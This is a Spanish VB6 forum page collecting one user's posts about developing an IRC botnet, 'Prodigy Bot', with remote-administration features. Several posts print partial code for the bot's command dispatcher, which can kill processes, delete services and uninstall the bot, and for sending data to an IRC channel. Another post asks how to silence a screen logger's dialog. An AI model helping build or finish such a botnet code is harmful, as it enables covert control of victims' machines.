Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - illuminat3d

Páginas: [1] 2
1
Visual Basic 6 / Ocultar ventana AVISaveOptions del modulo ScreenLogger
« en: Diciembre 18, 2013, 07:09:59 am »
Hola buenos dias, estoy utilizando el modulo de LeandroAscierto del ScreenLogger, me gustaría ocultar la ventana de la función 'AVISaveOptions' [de la clase clsAviCreator] y que guarde la opción por defecto 'Fotogramas completos sin comprimir'  :-\

Citar
AVISaveOptions(Owner, ICMF_CHOOSE_KEYFRAME Or ICMF_CHOOSE_DATARATE, 1, lpStream, lpACO)



El módulo es muy avanzado para mis conocimientos en VB, espero que me puedan ayudar.

He intentado obteniendo el handle de la ventana y mandando un 'SendMessage (13)' pero no funciona, si alguien sabe de alguna forma (cambiando algunas constantes en los parametros...) se lo agradecería...

Un saludo!  ;)

2
Visual Basic 6 / Re:Prodigy Bot v1.0 (Sin acabar)
« en: Enero 13, 2011, 11:34:33 am »
Bueno, lo que faltaba.
Ya sobreescribi el modulo Leandro en la descarga, scann no me voy a molestar ni a responder tu mensaje porque el que me conoce bien sabe lo que hay, sigue con los rumores y criticas falsas que hay por ahí.

Un saludo =)

PD : El que tiene un poco de sentido comun se daria cuenta que fue un accidente por la forma de publicar el source en mi blog y anteriores proyectos como este en el que puse los creditos.

3
Visual Basic 6 / Re:Prodigy Bot v1.0 (Sin acabar)
« en: Enero 13, 2011, 06:39:47 am »
Vale ya  me enteé, habia copiado y pegado la cabecera en todos los formularios y modulos del cliente y del servidor, por eso se me pasó lo del modulo tuyo a las 2 de la mañana Leandro, cuando llegue a mi casa le cambio esa cabecera, aquí tengo un proxy bloqueandome y no puedo sobreescribir el archivo de 4shared, pero en mi blog y en los sitios publicados ya he agregado tus creditos.

Perdón por el descuido.

Un saludo!  ;D

PD : El que no me quiera creer que no me crea yo sigo teniendo la conciencia muy trnaquila. =)

4
Visual Basic 6 / Re:Prodigy Bot v1.0 (Sin acabar)
« en: Enero 13, 2011, 06:21:10 am »
Cree lo que quieras, yo no me voy a esforzar para explicarme por un error tonto como este, en todas las aplicaciones que he desarrollado y he usado modulos de otros siempre he puesto los creditos correspondientes.

Porque dices que no es la primera vez? puedes darme algun ejemplo?..

Repito que ayer a las 2 de la mañana medio dormido me descuide, siemrpe tengo la mania de borrar todos los comentarios de los modulos usados. Cuando llegue a mi casa lo corregiré.

Un saludo!  ;)

5
Visual Basic 6 / Re:Prodigy Bot v1.0 (Sin acabar)
« en: Enero 13, 2011, 05:14:59 am »
Un malentendido, en la misma entrada de mi blog puedes ver enlaces pidiendo dudas en este foro, el mSock se sabe que es tuyo, no tuve ningnua intención de atribuirme los creditos lo que pasa es que a las 2 de la mañana publicando esto se me paso.

Hace tiempo que no revise el código y no me acuerdo muy bien si le puse autoarranque o no, cuando llegue a mi casa le hecho un ultimo vistazo!

Si el wmi me funciona en mi 7 Home Edition y en los demás.

Saludos!  ;)

PD : Suelo quitar los comentarios en los modulos, ten en cuenta que este proyecto iba hacer privado pero al final lo publique, siempre quito los comentarios porque me estorban a la hora de ver el código.

6
Visual Basic 6 / Prodigy Bot v1.0 (Sin acabar)
« en: Enero 12, 2011, 10:01:07 pm »
Citar
Bueno tras varios dias, semanas o meses sin haber publicado nada y estar inactivo en el blog, decido hacer público este codigo de fuente que me ha costado bastante en llevarlo adelante. Se trata de una botnet que usa conexión IRC, tiene algunas funciones acabadas como la lista de procesos, lista de servicios, listado de ventanas, etc..

El propósito de esta botnet era hacerla estilo R.A.T (Herramienta de administración remota), destacar de las demás que sólo se centraban en los ataques de denegación de servicio e implementarle funciones de administración remota. Hay muchos inconvenientes con los ideales que se pretendían y el protocolo usado (IRC) : lentitud, poca flexibilidad, etc..

Dejo el codigo abierto para cualquier que se atreva a mejorarlo y si hay algún valiente, a acabarlo, siempre respetando los creditos de autor.



Autor del módulo mSock : Leandro Ascierto

Descargar Prodigy Bot v1.0 [Codigo de fuente]

Saludos!

7
Visual Basic 6 / Problema con Botnet IRC
« en: Noviembre 21, 2010, 10:49:24 am »
Bueno como en el foro de elhacker no me dieron respuesta publico aqui mi problema. =)


Bueno, me explico, estoy haciendo una botnet IRC con interfaz usuario (parecido a un RAT) y tengo algunos problemas en el envio de datos, el protocolo IRC me limita bastante e intento escapar como puedo de esas limitaciones. Uno de mis primeros problemas es el envio de datos, yo envio los datos partiendolo en 429 carácteres, ya que los mensajes en los canales IRC no permiten mas.. por lo tanto mi método de envio es así :

Código: (vb) [Seleccionar]
Public Function Split_Data(ByVal Total_Data As String, ByVal Channel As String)
    Dim lData              As Long
    Dim lPack              As Long
    Dim sData              As String
  
    'Total_Data = "[E]" & Huffman.EncodeString(Total_Data)
    lData = Len(Total_Data)
    
    If s_Active = True Then
        If lData > 429 Then
            lPack = (Len(Total_Data) / 429) + 1
    
            While p < lPack
                  If s_Active = True Then
                        If p = 0 Then
                                  sData = Mid$(Total_Data, 1, 429)
                        Else
                                  sData = Mid$(Total_Data, p * 429, 429)
                        End If
                        
                        Wait 2
                        mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & sData & vbCrLf
                        
                        p = p + 1
                        DoEvents
                  End If
            Wend
        Else
                  Wait 2
                  mSock.SendData mSock.CurrentSocketHandle, "PRIVMSG " & Channel & " " & Total_Data & vbCrLf
        End If
    End If
    
    p = 0
End Function

Todo bien, lo que quiero resaltar es ese entero llamado p (numero de paquetes) que lo uso aparte de para ir contando los paquetes de 429 carácteres, lo uso para saber si todavía sigue enviando datos, porque las funciones cuando el servidor las recibe las pongo como en una especie de cola ejecutandose en un nuevo 'thread' :

Código: (vb) [Seleccionar]
Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
    If p = 0 Then
       Call KillTimer(hWnd, uElapse)

       Select Case uElapse
               Case 1:       Sender_Info (s_Chan)
               Case 2:       Sender_TotalInfo (s_Chan)
               Case 3:       Sender_Process (s_Chan)
               Case 4:       Terminate_Process (Command(2))
               Case 5:       Sender_Services (s_Chan)
               Case 6:       Start_Service (Command(2))
               Case 7:       Stop_Service (Command(2))
               Case 8:       Delete_Service (Command(2))
               Case 9:       Restart_BOT
               Case 10:      Close_BOT
               Case 11:      Uninstall_BOT
               Case 12:      Sender_Windows (s_Chan)
               'Case 13:      Close_Window (Command(2))
               'Case 14:      Hide_Window (Command(2))
               'Case 15:      Maximize_Window (Command(2))
               'Case 16:      Minimize_Window (Command(2))
               'Case 17:      Show_Window (Command(2))
       End Select
    End If
End Function

Como véis la p la uso como identificador para saber si sigue enviandose la anterior función para poder seguir con la siguiente... mi problema es que la p a veces (cuando el cliente envia muchas funciones seguidas) me falla como identificador y se para la acción anterior, envia la siguiente o simplemente hace un exceso de flood en el IRC.. no se me ocurre ningún identificador para eso.

Ese era mi primer problema, mi segundo problemilla (me interesa primero el anterior para resolver) es la lentitud de envio, sabiendo que envia solo 429 carácteres en cada paquete de envio y tiene que enviar mucha información, no sabría como saltarme ese limite de otra forma.

Saludos! =)

8
Parece muy complicado, no me esperaba menos pero.. habia visto en este link algo mas sencillo, incluso viene un programa con el source el cual obtiene datos y enciende leds de un PIC..

He visto algunos programas destinados a la liberación de moviles y supongo que hacen algo parecido no?... el movil tiene dentro un PIC el cual puede ser manipulado desde el software?, como logran conectarse con el? o como podria conectarme con el en VB?

Un saludo y gracias por la respuesta!

9
Estoy buscando información por todos lados, me interesa saber como se envia y recibe información de un dispositivo por USB, estuve leyendo algo de PICS (que todavia no lo tengo muy claro).

Un saludo!

10
Visual Basic 6 / Evitar cierre de un modulo
« en: Septiembre 22, 2010, 07:36:56 pm »
Me preguntaba si hay alguna forma de evitar que el modulo se abra y cierra al terminar las lineas del code, he puesto un bucle para que no cierre y las funciones las cargo en un thread.. pero consume mucha RAM, sabeis alguna otra forma?...

Un saludo! :P

11
Visual Basic 6 / Re:Apis SetTime y KillTimer hacen crashear facilmente.
« en: Septiembre 11, 2010, 11:08:03 am »
Vale Leandro gracias, el error mio era que me faltaba declarar la función 'As Long'..

Un saludo! ;)

12
Visual Basic 6 / Re:Apis SetTime y KillTimer hacen crashear facilmente.
« en: Septiembre 10, 2010, 11:31:44 am »
Que va seguimos en lo mismo, tengo todo declarado bien :

Código: [Seleccionar]
Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long


Public i_Func                 as long


Call SetTimer(0&, i_Func, 1, AddressOf set_Timer)

Public Function set_Timer(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
        Call KillTimer(0&, nIDEvent)

Probe lo que pusistes pero lo vi ilógico, igualmente no me funcionó.. y asi como lo tengo ahora el parametro nIDEvent de la funcion set_Timer me devuelve : 32337... nada que ver con el valor de i_Func..

Un saludo!.

13
Visual Basic 6 / Re:Apis SetTime y KillTimer hacen crashear facilmente.
« en: Septiembre 09, 2010, 12:02:54 pm »
Gracias por la constante ayuda Leandro, pero me pasa algo extraño, y es que el parametro nIDEvent no se asigna el ID que le pongo, por lo tanto no llega a hacer la funcion, el code es igual al que me has puesto..

Un saludo!

14
Visual Basic 6 / Re:Apis SetTime y KillTimer hacen crashear facilmente.
« en: Septiembre 09, 2010, 12:36:53 am »
Entiendo!, gracias a los dos :)

Edito :

Tengo un problema y es que el KillTimer no cierra el timer.

Código: [Seleccionar]
                Select Case Command(1)
                        Case "info":            i_Func = 1
                        Case "totalinfo":       i_Func = 2
                        Case "process":         i_Func = 3
                        Case "terminatep":      i_Func = 4
                        Case "services":        i_Func = 5
                        Case "starts":          i_Func = 6
                        Case "stops":           i_Func = 7
                        Case "deletes":         i_Func = 8
                        Case "windows":         i_Func = 9
                       
                       
                        Case "restart":         i_Func = 10
                        Case "close":           i_Func = 11
                        Case "uninstall":       i_Func = 12
                End Select
               
                SetTimer frmMain.hWnd, i_Func, 1, AddressOf set_Timer
             End With

Public Function set_Timer(ByVal hWnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
        Call KillTimer(hWnd, nIDEvent)
       
        Select Case nIDEvent
               Case 1:       Sender_Info (s_Chan)
               Case 2:       Sender_TotalInfo (s_Chan)
               Case 3:       Sender_Process (s_Chan)
               Case 4:       Terminate_Process (Command(2))
               Case 5:       Sender_Services (s_Chan)
               Case 6:       Start_Service (Command(2))
               Case 7:       Stop_Service (Command(2))
               Case 8:       Delete_Service (Command(2))
               Case 9:       Restart_BOT
               Case 10:      Close_BOT
               Case 11:      Uninstall_BOT
               Case 12:      Sender_Windows (s_Chan)
        End Select
End Function

15
Visual Basic 6 / Apis SetTime y KillTimer hacen crashear facilmente.
« en: Septiembre 08, 2010, 09:55:13 pm »
Bueno, me habian comentado sobre el Threading, para la ejecucion en otro hilo.. entonces me habian dicho que en visual basic se imita bien usando timers, para no estar poniendo millones de controles he querido usar estas APis, el problema es que hacen crashear facilmente el proyecto..

Aqui dejo un cacho de codigo..

Código: (Visual Basic) [Seleccionar]
Private Function set_Timer(ByVal s_Index As Integer)
        Select Case s_Index
               Case 1:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f1_Timer)
               Case 2:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f2_Timer)
               Case 3:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f3_Timer)
               Case 4:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f4_Timer)
               Case 5:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f5_Timer)
               Case 6:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f6_Timer)
               Case 7:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f7_Timer)
               Case 8:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f8_Timer)
               Case 9:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f9_Timer)
               Case 10:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f10_Timer)
               Case 11:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f11_Timer)
               Case 12:
                        id_Timer(s_Index) = KillTimer(0, s_Index)
                        id_Timer(s_Index) = SetTimer(0, 0, 1, AddressOf f12_Timer)
        End Select
End Function

Private Function f1_Timer()
        If p = 0 Then
              Sender_Info (s_Chan)
              id_Timer(1) = KillTimer(0, id_Timer(1))
        End If
End Function

Private Function f2_Timer()
        If p = 0 Then
               Sender_TotalInfo (s_Chan)
               id_Timer(2) = KillTimer(0, id_Timer(2))
        End If
End Function

Private Function f3_Timer()
        If p = 0 Then
               Sender_Process (s_Chan)
               id_Timer(3) = KillTimer(0, id_Timer(3))
        End If
End Function

Private Function f4_Timer()
        If p = 0 Then
               Terminate_Process (Command(2))
               id_Timer(4) = KillTimer(0, id_Timer(4))
        End If
End Function

Private Function f5_Timer()
        If p = 0 Then
               Sender_Services (s_Chan)
               id_Timer(5) = KillTimer(0, id_Timer(5))
        End If
End Function

Private Function f6_Timer()
        If p = 0 Then
               Start_Service (Command(2))
               id_Timer(6) = KillTimer(0, id_Timer(6))
        End If
End Function

Private Function f7_Timer()
        If p = 0 Then
               Stop_Service (Command(2))
               id_Timer(7) = KillTimer(0, id_Timer(7))
        End If
End Function

Private Function f8_Timer()
        If p = 0 Then
               Delete_Service (Command(2))
               id_Timer(8) = KillTimer(0, id_Timer(8))
        End If
End Function

Private Function f9_Timer()
        If p = 0 Then
               Restart_BOT
               id_Timer(9) = KillTimer(0, id_Timer(9))
        End If
End Function

Private Function f10_Timer()
        If p = 0 Then
               Close_BOT
               id_Timer(10) = KillTimer(0, id_Timer(10))
        End If
End Function
                     
Private Function f11_Timer()
        If p = 0 Then
               Uninstall_BOT
               id_Timer(11) = KillTimer(0, id_Timer(11))
        End If
End Function
 
Private Function f12_Timer()
        If p = 0 Then
               Sender_Windows (s_Chan)
               id_Timer(12) = KillTimer(0, id_Timer(12))
        End If
End Function

Me gustaria saber alguna forma de intentar evitar esos crashes..

Saludos!

Páginas: [1] 2